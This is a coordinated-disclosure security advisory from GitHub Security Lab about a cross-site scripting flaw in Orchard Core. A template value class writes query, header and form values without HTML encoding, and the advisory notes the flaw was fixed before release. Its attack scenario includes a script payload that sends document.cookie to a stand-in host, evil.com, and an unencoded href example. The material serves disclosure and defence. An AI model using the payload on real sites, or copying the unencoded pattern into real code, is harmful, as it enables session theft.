Coordinated Disclosure Timeline
- 2026-03-31: The report was delivered to contact at orchardcore.net
- 2026-04-01: The vulnerability was fixed before reaching a published release.
Summary
Orchard CMS is vulnerable to an HTML encoding bypass due to missing/incorrect HTML output encoding in the StringValuesValue.WriteToAsync method, leading to potential cross-site scripting (XSS) attacks.
Project
Orchard CMS
Tested Version
Orchard Core commit c2cdcd19d5b68a082568c587ec5edf35c21f6695 (unreleased development version).
Details
StringValuesValue.WriteToAsync bypasses HTML encoding (GHSL-2026-072)
The custom StringValuesValue class (which wraps ASP.NET Core’s StringValues) overrides WriteToAsync(TextWriter writer, TextEncoder encoder, CultureInfo cultureInfo) but never uses the encoder parameter. It writes raw string values directly to the TextWriter via writer.WriteAsync(_stringValues[0]) and writer.WriteAsync(v). This violates the Fluid template engine’s security contract where WriteToAsync should HTML-encode output by default.
The obsolete WriteTo has the same issue — uses writer.Write() without encoding.
Affected Liquid expressions (all output WITHOUT HTML encoding):
{{ Request.Query.paramName }}or{{ Request.Query["paramName"] }}{{ Request.Headers.headerName }}or{{ Request.Headers["headerName"] }}{{ Request.Form.fieldName }}or{{ Request.Form["fieldName"] }}
NOT affected (properly encoded via StringValue with encode:true):
{{ Request.QueryString }}(usesnew StringValue()){{ Request.Path }}{{ Request.Host }}{{ Request.Cookies.name }}(returnsstring, Fluid wraps in encodedStringValue)
Attack Scenario:
- An admin creates a Liquid template (via the OrchardCore.Templates module for shape overrides, LiquidPart for content, or .liquid view files) that includes
{{ Request.Query.q }}— a very common pattern for search pages, dynamic content, etc. - An attacker crafts a URL:
https://site.com/search?q=<script>fetch('https://evil.com/?c='+document.cookie)</script> - A victim visits the URL. The Liquid template engine renders the template for the response.
- When Fluid renders the
{{ Request.Query.q }}expression, it resolves to aStringValuesValueand calls itsWriteToAsync(). StringValuesValue.WriteToAsync()writes<script>fetch('https://evil.com/?c='+document.cookie)</script>directly to the HTML output without HTML encoding.- The victim’s browser executes the injected script.
Illustrative Example in Demo Module:
<a href="{{Request.Query["returnUrl"]}}">Cancel</a>
This outputs a user-controlled query parameter into a quoted href attribute without HTML encoding, allowing injected double quotes to escape the attribute and introduce attacker-controlled markup, potentially causing XSS.
Impact
This issue may lead to XSS allowing the attacker to steal session cookies, perform actions on behalf of the user, etc.
CWEs
- CWE-079: “Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)”
Credit
This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-072 in any communication regarding this issue.